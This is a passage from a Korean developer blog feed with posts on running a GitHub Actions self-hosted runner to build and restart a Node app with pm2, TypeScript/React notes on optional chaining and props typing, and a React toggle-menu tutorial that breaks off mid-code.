&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;위 처럼 진행안해도 actions/checkout 이라는걸 사용하면 git 저장소에 있는 최신화 된 소스를 가져와서 진행할수 있습니다.&lt;br /&gt;위 main.yml 을 좀 더 보완해서 진행하였습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1705456911479&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;name: learn-github-actions
on:
  push:
    branches:
      - main

jobs:
  build:
    runs-on: self-hosted

    steps:
    # 해당 repo 의 최신화된 소스로 접근
    - name: Checkout Repository
      uses: actions/checkout@v3
      with:
        repository: bug41/testRepo
        ref: main
        token: ${{ secrets.TOKEN }}

	#env 파일은 gitignore 에 추가되어있어서 따로 다른 폴더에 놓고 copy 진행함
    - name: Copy env file
      run: |
        cp [복사해야할 경로와 파일] /home/ec2-user/actions-runner/_work/myProject/myProject    

	# checkout 했을때 정말 최신꺼 가져오는지 테스트하려고 찍음
    #- name: Display Git Log
    #  run: git log

    - name: Install Dependencies
      run: npm install --force      

    - name: Build
      run: npm run build
      
	# build 잘됐는지 목록 보고싶어서 찍음
    - name: Display Folder
      run: ls -al

    - name: Restart pm2
      run: pm2 restart dapps 
      #run: pm2 start npm --name &quot;dapps&quot; -- start

    - name: Save PM2 Configuration
      run: pm2 save&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이제 main 브랜치에 배포를 진행하고나서 Actions 페이지를 확인해보면 아래와 같이 구동되는 것을 확인 할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1300&quot; data-origin-height=&quot;135&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cXZqs8/btsDpbvcJJw/nzvTp95I1xV0eGjlsButX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cXZqs8/btsDpbvcJJw/nzvTp95I1xV0eGjlsButX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cXZqs8/btsDpbvcJJw/nzvTp95I1xV0eGjlsButX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcXZqs8%2FbtsDpbvcJJw%2FnzvTp95I1xV0eGjlsButX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1300&quot; height=&quot;135&quot; data-origin-width=&quot;1300&quot; data-origin-height=&quot;135&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;673&quot; data-origin-height=&quot;399&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mz4sZ/btsDj2AfX1j/xKklOYPjkxKB9bS3DZt4jK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mz4sZ/btsDj2AfX1j/xKklOYPjkxKB9bS3DZt4jK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mz4sZ/btsDj2AfX1j/xKklOYPjkxKB9bS3DZt4jK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fmz4sZ%2FbtsDj2AfX1j%2FxKklOYPjkxKB9bS3DZt4jK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;673&quot; height=&quot;399&quot; data-origin-width=&quot;673&quot; data-origin-height=&quot;399&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1525&quot; data-origin-height=&quot;401&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/L6PJN/btsDpvUGCaL/LOQQz0a67P33HcynNwDDNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/L6PJN/btsDpvUGCaL/LOQQz0a67P33HcynNwDDNk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/L6PJN/btsDpvUGCaL/LOQQz0a67P33HcynNwDDNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FL6PJN%2FbtsDpvUGCaL%2FLOQQz0a67P33HcynNwDDNk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1525&quot; height=&quot;401&quot; data-origin-width=&quot;1525&quot; data-origin-height=&quot;401&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;github action yml 을 작성할때 ubuntu 뭐시기 하면서 가상의 공간에서 진행을 하였는데, 셀프러너는 그 가상의 공간이 말그대로 내 로컬서버에서 진행이 되는거라 서버의 어떤 디렉토리든 접근하기 용이해서 편리했습니다.&lt;br /&gt;&quot;가상의 공간&quot; 이라는게 결국 action-runner 를 설치한 _work 폴더에 내가 설정한 runner 명으로 들어가있고요&lt;br /&gt;그 안에서 git checkout 으로 소스 땡겨오는거라 npm install 이던 build 던 다 진행가능합니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;액션 러너를 백그라운드로 실행 하고있는데 제대로 돌고 있는지 확인하고 싶은경우 아래 명령어 입력&lt;/p&gt;
&lt;pre id=&quot;code_1705025229041&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ps -ef | grep run&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;607&quot; data-origin-height=&quot;96&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OAurK/btsDivWUYkk/jyc0Kif9B5ZPqedby966ZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OAurK/btsDivWUYkk/jyc0Kif9B5ZPqedby966ZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OAurK/btsDivWUYkk/jyc0Kif9B5ZPqedby966ZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOAurK%2FbtsDivWUYkk%2Fjyc0Kif9B5ZPqedby966ZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;607&quot; height=&quot;96&quot; data-origin-width=&quot;607&quot; data-origin-height=&quot;96&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>actions runner</category>
      <category>Github action</category>
      <category>github action runner</category>
      <category>Linux</category>
      <category>self-hosted runner</category>
      <category>깃허브액션</category>
      <category>셀프러너</category>
      <category>셀프호스트러너</category>
      <category>셀프호스티드러너</category>
      <category>액션러너</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/212</guid>
      <comments>https://bug41.tistory.com/entry/Github-%EC%85%80%ED%94%84-%EB%9F%AC%EB%84%88-Github-Self-hosted-Runner-%EC%82%AC%EC%9A%A9%ED%95%98%EB%8A%94%EB%B2%95-Feat-%EB%A6%AC%EB%88%85%EC%8A%A4#entry212comment</comments>
      <pubDate>Fri, 12 Jan 2024 11:37:23 +0900</pubDate>
    </item>
    <item>
      <title>[React] 타입스크립트 옵셔널 체이닝, 옵셔널 , 함수형 업데이트, props 전달 등등 메모</title>
      <link>https://bug41.tistory.com/entry/React-%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%EC%98%B5%EC%85%94%EB%84%90-%EC%B2%B4%EC%9D%B4%EB%8B%9D-%EC%98%B5%EC%85%94%EB%84%90-%ED%95%A8%EC%88%98%ED%98%95-%EC%97%85%EB%8D%B0%EC%9D%B4%ED%8A%B8-props-%EC%A0%84%EB%8B%AC-%EB%93%B1%EB%93%B1-%EB%A9%94%EB%AA%A8</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;복습겸 내가 보기 편하기 위한 기록..&lt;br /&gt;큰건은 아니고 이번에 기존 돌아가고 있는 Next.js, Typescript 프로젝트에 기능 추가를 하였는데 그 과정에서 기록 해두고자 하는게 몇가지 있어서 짧게 포스팅 하려한다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. 옵셔널 체이닝 `?.`&lt;/b&gt;&lt;br /&gt;undefined 오류 방지를 위해 쓰인다.&lt;br /&gt;웬만한 undefined 오류에는 물음표가 직빵이다 ..&lt;br /&gt;다른곳에서도 그렇고 ref 로 가져온 current 에 eventListener 에서도 오류 나던걸&lt;br /&gt;옵셔널 체이닝으로 아래와 같이 해결하였다&lt;/p&gt;
&lt;pre id=&quot;code_1704292892736&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;childRef?.current?.removeEventListener('scroll', catchEventScroll);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;타입스크립트가 이건 편한듯 ..&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. 논널 어썰쎤 오퍼레이터 (Non-null Assertion Operator) `!`&lt;/b&gt;&lt;br /&gt;이건 뒤에 느낌표 붙여주는건데 논리 부정 연산자로 이 값은 무조건 null 이나 undefined 가 아니라고 못을 박아버리는건데&lt;br /&gt;웬만하면 잘 안쓰일듯함&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 타입 선언&lt;/b&gt;할때 useState 에 배열값을 선언할 경우 아래와 같이 할 수 있다.&lt;br /&gt;이것도 옵셔널체이닝과 비스무리 하지만 옵셔널체이닝은 '?.' 이고 이건 그냥 ? 만 들어가는데 값이 있을수도 있고 없을수도 있다고 여지를 둬줌&lt;/p&gt;
&lt;pre id=&quot;code_1704293053714&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#type.ts
export type dataType = {
    test1?: string[];
    test2?: string[];
    test3?: string[];    
};


#test.tsx
const [data, setData] = useState&amp;lt;dataType&amp;gt;(
	{ test1: []
    , test2: []
    , test3: []}
);&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 무한 스크롤&lt;/b&gt; 기능을 구현해야되서 기존에 있는 데이터 뒤에 계속 fetch 한 resData 를 붙여줘야해서&lt;br /&gt;아래처럼 진행을 하였는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1704293379194&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;setData([...data, ...resData]);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;같이 일하시는분이 아래와 같이 함수형 업데이트를 사용하길 권장하셔서 좀 찾아보았다&lt;/p&gt;
&lt;pre id=&quot;code_1704293384319&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;setData(e =&amp;gt;[...e, ...resData]);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;위에꺼는 그냥 초기 렌더링시의 상태를 참조하는거고, 연속적으로 여러번 호출되면 중간에 다른 컴포넌트나 외부에서 data 가 변경된경우 원하지않은 결과를 얻을 수 있다고함&lt;br /&gt;&lt;br /&gt;아래 함수형 업데이트는 이전 상태에 의존하므로 중간에 상태가 변경되도 정확한 결과를 얻을수 있다고함&lt;br /&gt;사실 결과값은 똑같은데 데이터 여러 컴포넌트 거칠거 아니면 위에껏도 상관 없어보이긴하는데, 그래도 함수형으로 하는것도 좋은 방법이니 이번에 또 배웠다 참고하자~!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5.&lt;b&gt; 자식 컴포넌트에서 부모 props 받아올때&lt;br /&gt;&lt;/b&gt;배열이고 string 이고 number 고 함수고 받아올 경우가 있는데 아래와 같이 조정하면된다&lt;br /&gt;타입 선언 하는거 때문에 본 에러만 몇번인지 ㅎㅎ;;&lt;/p&gt;
&lt;pre id=&quot;code_1704293808051&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;type props = {
  numberArr: number[];
  number: number;  
  stringArr: string[];
  function1: (value: string) =&amp;gt; void;  
};

export const childComponent: React.FC&amp;lt;props&amp;gt; = ({
  numberArr, number, stringArr, function1
}) =&amp;gt; {

... 생략&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약에 ref 를 가지고 가고싶다면 아래와 같이 진행 가능&lt;/p&gt;
&lt;pre id=&quot;code_1704294019082&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#부모 컴포넌트
const childRef = useRef&amp;lt;HTMLDivElement&amp;gt;(null);
&amp;lt;ChildComponent ref={childRef}/&amp;gt;

#자식 컴포넌트
type props = {
    test:number,
    test2:string
};

export const ChildComponent = forwardRef(({ test, test2 }: props, ref: ForwardedRef&amp;lt;HTMLDivElement&amp;gt;) =&amp;gt; {
...생략&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에 작업하며 느낀점은 &lt;br /&gt;부모에서 자식 컴포넌트로 가는 1 depth 정도의 경우엔 리덕스가 굳이 필요없겠단 생각이 들었던 반면에&lt;br /&gt;이번엔 형제 컴포넌트 들끼리 값을 공유해야하고, 부모에서 자식, 자식에서 또 자식 이렇게 2depth 까지 가면서 , 리덕스의 필요성을 느꼈다 &lt;s&gt;(props 타고타고 전달하는데 어찌나 현타가 오던지 .. )&lt;/s&gt; &lt;br /&gt;다음번에 기능 추가할때는 Redux 를 심도있게 다뤄서 내걸로 만들어야겠다고 느낌&lt;br /&gt;&lt;br /&gt;사실 일정이 촉박하고 퍼블리싱까지 도맡아 진행했어야 해서 정신없이 팍팍 넘어간 부분도 있어서 부끄러운 부분도 있는데 이렇게 조금씩 차근차근 정리해야겠다.&lt;/p&gt;</description>
      <category>IT/React.js</category>
      <category>무한스크롤 함수형 업데이트</category>
      <category>부모자식 props 전달</category>
      <category>옵셔널</category>
      <category>옵셔널체이닝</category>
      <category>타입스크립트 타입선언</category>
      <category>함수형업데이트</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/211</guid>
      <comments>https://bug41.tistory.com/entry/React-%ED%83%80%EC%9E%85%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8-%EC%98%B5%EC%85%94%EB%84%90-%EC%B2%B4%EC%9D%B4%EB%8B%9D-%EC%98%B5%EC%85%94%EB%84%90-%ED%95%A8%EC%88%98%ED%98%95-%EC%97%85%EB%8D%B0%EC%9D%B4%ED%8A%B8-props-%EC%A0%84%EB%8B%AC-%EB%93%B1%EB%93%B1-%EB%A9%94%EB%AA%A8#entry211comment</comments>
      <pubDate>Thu, 4 Jan 2024 00:10:13 +0900</pubDate>
    </item>
    <item>
      <title>[React] 열고닫는 메뉴 , 메롱하는 메뉴, 다중 useState 관리</title>
      <link>https://bug41.tistory.com/entry/React-%EC%97%B4%EA%B3%A0%EB%8B%AB%EB%8A%94-%EB%A9%94%EB%89%B4-%EB%A9%94%EB%A1%B1%ED%95%98%EB%8A%94-%EB%A9%94%EB%89%B4-%EB%8B%A4%EC%A4%91-useState-%EA%B4%80%EB%A6%AC</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;240&quot; data-origin-height=&quot;106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/N5G1R/btsCOD1CGE5/OsMUFYiLjNTaW4klazDvjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/N5G1R/btsCOD1CGE5/OsMUFYiLjNTaW4klazDvjK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/N5G1R/btsCOD1CGE5/OsMUFYiLjNTaW4klazDvjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FN5G1R%2FbtsCOD1CGE5%2FOsMUFYiLjNTaW4klazDvjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;240&quot; height=&quot;106&quot; data-origin-width=&quot;240&quot; data-origin-height=&quot;106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 와 같은 기능을 만든다고 칩시다.&lt;br /&gt;원래 css 이쁘게 tailwind 로 잡혀있는데 포스팅 하느라 다 빼서 없어보이는 점 양해부탁드립니다.&lt;br /&gt;말이 메롱이지 , 열고닫는 메뉴, 혹은 클릭 했을때 해당 현상을 유지하는 식은 웹 사이트에서 흔히 사용되는 기능인데&lt;br /&gt;근데 이 간단한걸 리액트 스럽게 반영하려니 살짝 뇌 정지가 왔어서 (jQuery 만 사용하던 응빱이라..)&lt;br /&gt;복습겸, 기록겸, 남겨둡니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물론 아래 처럼 열고 닫는 상태들을 관리 할 수도 있겠지만 가오가 있지 다중 상태 관리로 진행합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1703965968501&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const [부모1, set부모1] = useState(false);
const [부모2, set부모2] = useState(false);
const [부모3, set부모3] = useState(false);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;다중 뭐시기는 아래 처럼 진행 할 수 있습니다.&lt;br /&gt;const { 부모1, 부모2, 부모3 } = filterValues; 요런식으로 쓰는 뭐라했었는데 정식명칭이 뭔지 기억이 안나네요 ㅋ&lt;br /&gt;분할 뭐시기였나 ..&lt;/p&gt;
&lt;pre id=&quot;code_1703965722860&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const initialFilter = {
      부모1: false,
      부모2: false,
      부모3: false,
};


export default function App() {

    const [filterValues, setFilterValuses] = useState(initialFilter);
    const { 부모1, 부모2, 부모3 } = filterValues;
    
   	.... 생략&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이지에 부모1,부모2,부모3 에 쭈루룩 있고 상태는 전부 false 로 놨다가 클릭 하는것마다 true 로 바꿔서 메롱 하는걸 보여주고자 합니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1703966071769&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;...생략

const filterEvent = (event) =&amp;gt; {
      const filter = event.currentTarget.dataset.filter;

      setFilterValuses((prevFilterValues) =&amp;gt; ({
          ...prevFilterValues,
          [filter]: !prevFilterValues[filter]
      }));
  }

const FilterDetailList = ({filter}) =&amp;gt; {
      return (
          &amp;lt;div&amp;gt;
                - 반갑다 내가 {filter} 자식이다.
          &amp;lt;/div&amp;gt;
      );
  }

return (
    &amp;lt;&amp;gt;
      &amp;lt;div&amp;gt;
          &amp;lt;div&amp;gt;
              &amp;lt;div data-filter=&quot;부모1&quot; onClick={filterEvent}&amp;gt;
                  &amp;lt;div&amp;gt;부모1&amp;lt;/div&amp;gt;                  
              &amp;lt;/div&amp;gt;
              {filterValues.부모1 &amp;amp;&amp;amp; &amp;lt;FilterDetailList filter=&quot;부모1&quot; /&amp;gt;}
          &amp;lt;/div&amp;gt;
          &amp;lt;div&amp;gt;
              &amp;lt;div data-filter=&quot;부모2&quot; onClick={filterEvent}&amp;gt;
                  &amp;lt;div&amp;gt;부모2&amp;lt;/div&amp;gt;                  
              &amp;lt;/div&amp;gt;
              {filterValues.부모2 &amp;amp;&amp;amp; &amp;lt;FilterDetailList filter=&quot;부모2&quot; /&amp;gt;}
          &amp;lt;/div&amp;gt;
          &amp;lt;div&amp;gt;
              &amp;lt;div data-filter=&quot;부모3&quot; onClick={filterEvent}&amp;gt;
                  &amp;lt;div&amp;gt;부모3&amp;lt;/div&amp;gt;                  
              &amp;lt;/div&amp;gt;
              {filterValues.부모3 &amp;amp;&amp;amp; &amp;lt;FilterDetailList filter=&quot;부모3&quot; /&amp;gt;}
          &amp;lt;/div&amp;gt;         
      &amp;lt;/div&amp;gt;
    
    &amp;lt;/&amp;gt;
  )&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;filterEvent 는 부모1,2,3 에 달린 이벤트이고 클릭 되는 순간 해당 event 의 currentTarget 에 data 로 설정되있는 filter 값을 가져다줍니다.&lt;br /&gt;filterEvent 함수 호출할때 파라미터로 그냥 가져갔어도 됐는데 dataset 은 그냥 써봤어요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 아래 set 에서 선택한 부모값대로 true 혹은 false 로 세팅을 해줍니다.&lt;br /&gt;사실 열고닫는 기능은 아래가 핵심이라해도 과언이 아니겠네요&lt;/p&gt;
&lt;pre id=&quot;code_1703966349297&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;setFilterValuses((prevFilterValues) =&amp;gt; ({
  ...prevFilterValues,
  [filter]: !prevFilterValues[filter]
}));&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;FilterDetailList 가 자식의 내용이기 때문에 클릭된 부모의 값이 true 라고 한다면 &amp;amp;&amp;amp; 로 체크를해서 보여주고 말고를 정해줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행을 해보면 아래처럼 열고닫는게 잘 될겁니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;264&quot; data-origin-height=&quot;143&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2o7hi/btsCTV04Oq0/nS6JhB0PIns0INxePXwqz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2o7hi/btsCTV04Oq0/nS6JhB0PIns0INxePXwqz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2o7hi/btsCTV04Oq0/nS6JhB0PIns0INxePXwqz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2o7hi%2FbtsCTV04Oq0%2FnS6JhB0PIns0INxePXwqz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;264&quot; height=&quot;143&quot; data-origin-width=&quot;264&quot; data-origin-height=&quot;143&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;콘솔을 찍었을때도 열은 부모값만 true 로 잘 바뀌는것을 확인 할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;281&quot; data-origin-height=&quot;30&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pecJc/btsCOCheuie/tKElSaNXTcLpQkeVGuMqDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pecJc/btsCOCheuie/tKElSaNXTcLpQkeVGuMqDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pecJc/btsCOCheuie/tKElSaNXTcLpQkeVGuMqDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpecJc%2FbtsCOCheuie%2FtKElSaNXTcLpQkeVGuMqDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;281&quot; height=&quot;30&quot; data-origin-width=&quot;281&quot; data-origin-height=&quot;30&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 전체 소스&lt;/p&gt;
&lt;pre id=&quot;code_1703966515524&quot; class=&quot;xquery&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;javascript&quot;&gt;&lt;code&gt;import './App.css'
import { useState } from &quot;react&quot;;

const initialFilter = {
      부모1: false,
      부모2: false,
      부모3: false,
};

export default function App() {

  const [filterValues, setFilterValuses] = useState(initialFilter);
  const { 부모1, 부모2, 부모3 } = filterValues;  

  const filterEvent = (event) =&amp;gt; {
      const filter = event.currentTarget.dataset.filter;

      setFilterValuses((prevFilterValues) =&amp;gt; ({
          ...prevFilterValues,
          [filter]: !prevFilterValues[filter]
      }));
  }

  const FilterDetailList = ({filter}) =&amp;gt; {

      return (
          &amp;lt;div&amp;gt;
                - 반갑다 내가 {filter} 자식이다.
          &amp;lt;/div&amp;gt;
      );
  }

  console.log(filterValues);
  
  return (
    &amp;lt;&amp;gt;
      &amp;lt;div&amp;gt;
          &amp;lt;div&amp;gt;
              &amp;lt;div data-filter=&quot;부모1&quot; onClick={filterEvent}&amp;gt;
                  &amp;lt;div&amp;gt;부모1&amp;lt;/div&amp;gt;                  
              &amp;lt;/div&amp;gt;
              {filterValues.부모1 &amp;amp;&amp;amp; &amp;lt;FilterDetailList filter=&quot;부모1&quot; /&amp;gt;}
          &amp;lt;/div&amp;gt;
          &amp;lt;div&amp;gt;
              &amp;lt;div data-filter=&quot;부모2&quot; onClick={filterEvent}&amp;gt;
                  &amp;lt;div&amp;gt;부모2&amp;lt;/div&amp;gt;                  
              &amp;lt;/div&amp;gt;
              {filterValues.부모2 &amp;amp;&amp;amp; &amp;lt;FilterDetailList filter=&quot;부모2&quot; /&amp;gt;}
          &amp;lt;/div&amp;gt;
          &amp;lt;div&amp;gt;
              &amp;lt;div data-filter=&quot;부모3&quot; onClick={filterEvent}&amp;gt;
